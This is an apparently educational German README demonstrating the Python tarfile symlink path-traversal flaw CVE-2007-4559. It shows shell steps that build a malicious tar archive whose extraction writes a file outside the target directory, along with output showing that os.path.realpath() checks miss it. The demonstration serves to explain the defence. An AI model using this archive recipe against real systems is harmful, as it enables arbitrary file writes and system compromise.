
Lehrreiche Demonstration des Python-tarfile-Symlink-Angriffs CVE-2007-4559 mit einem Skript, das zeigt, warum os.path.realpath() nicht verhindert, dass Dateien außerhalb der vorgesehenen Verzeichnisse extrahiert werden.
Dies ist eine Demonstration, wie die standardmäßige Handhabung von tar-Datei-Extraktion in Python vor v3.11.4 anfällig für einen einfachen Symlink-Angriff ist. Die folgenden Anweisungen beschreiben, wie man eine bösartige Nutzlast erstellt. Das Skript untar.py demonstriert, wie und warum die in 3.11.4 hinzugefügten Funktionen funktionieren – insbesondere die Notwendigkeit, vor jedem Schreibvorgang für jede Datei etwas wie os.path.realpath() aufzurufen. Das Skript verwendet genau die gleiche Überprüfungsmethode wie die extraction filter-Funktion in Python >= 3.11.4, ABER es schreibt die Dateien nicht auf die Festplatte. Es zeigt somit, wie os.path.realpath() nicht in der Lage ist, Symlinks korrekt aufzulösen, und daher zulässt, dass tar-Mitglieder außerhalb des beabsichtigten Dateisystemortes geschrieben werden.
Anweisungen (diese Datei) zur Einrichtung der Sandbox und der bösartigen tar-Datei.
Python-Skript untar.py, das das 'Warum' hinter der kürzlichen Implementierung der erweiterten tar-Validierung in der Python-tarfile-Bibliothek demonstriert. Aufgrund der Funktionsweise von os.path.realpath() kann man sich nicht darauf verlassen, Symlinks aufzulösen, es sei denn, diese Links befinden sich bereits im Dateisystem. Das bedeutet, dass man sich nicht allein auf os.path.realpath() verlassen kann, um tar-Mitgliedspfade vor dem Extrahieren des Archivs zu überprüfen. Stattdessen muss man os.path.realpath() vor jedem Schreibvorgang für jedes Mitglied des Archivs aufrufen, um die Erkennung bösartiger Link-Aktivitäten sicherzustellen. Siehe PEP-706 und tarfile-Dokumentation für weitere Informationen.
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
Laden Sie untar.py aus diesem Repository herunter und legen Sie es im Verzeichnis ./lab ab
Führen Sie das Skript aus. Beachten Sie, wie einfach es ist, os.path.realpath() zu täuschen, wenn der bösartige Symlink noch nicht auf das Ziel-Dateisystem geschrieben wurde.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
Warnung: 15 Jahre alter Python-tarfile-Fehler lauert in 'über 350.000' Code-Projekten
SO-Beitrag zum sicheren Extrahieren von tar-Archiven vor den neuen Funktionen von Python 3.11.4
2022 Erklärung des langjährigen [2019 in Ruhestand] Betreuers der tarlib-Bibliothek
Implementierung der neuen Extraktionsfilter-Funktion eingeführt in Python 3.11.4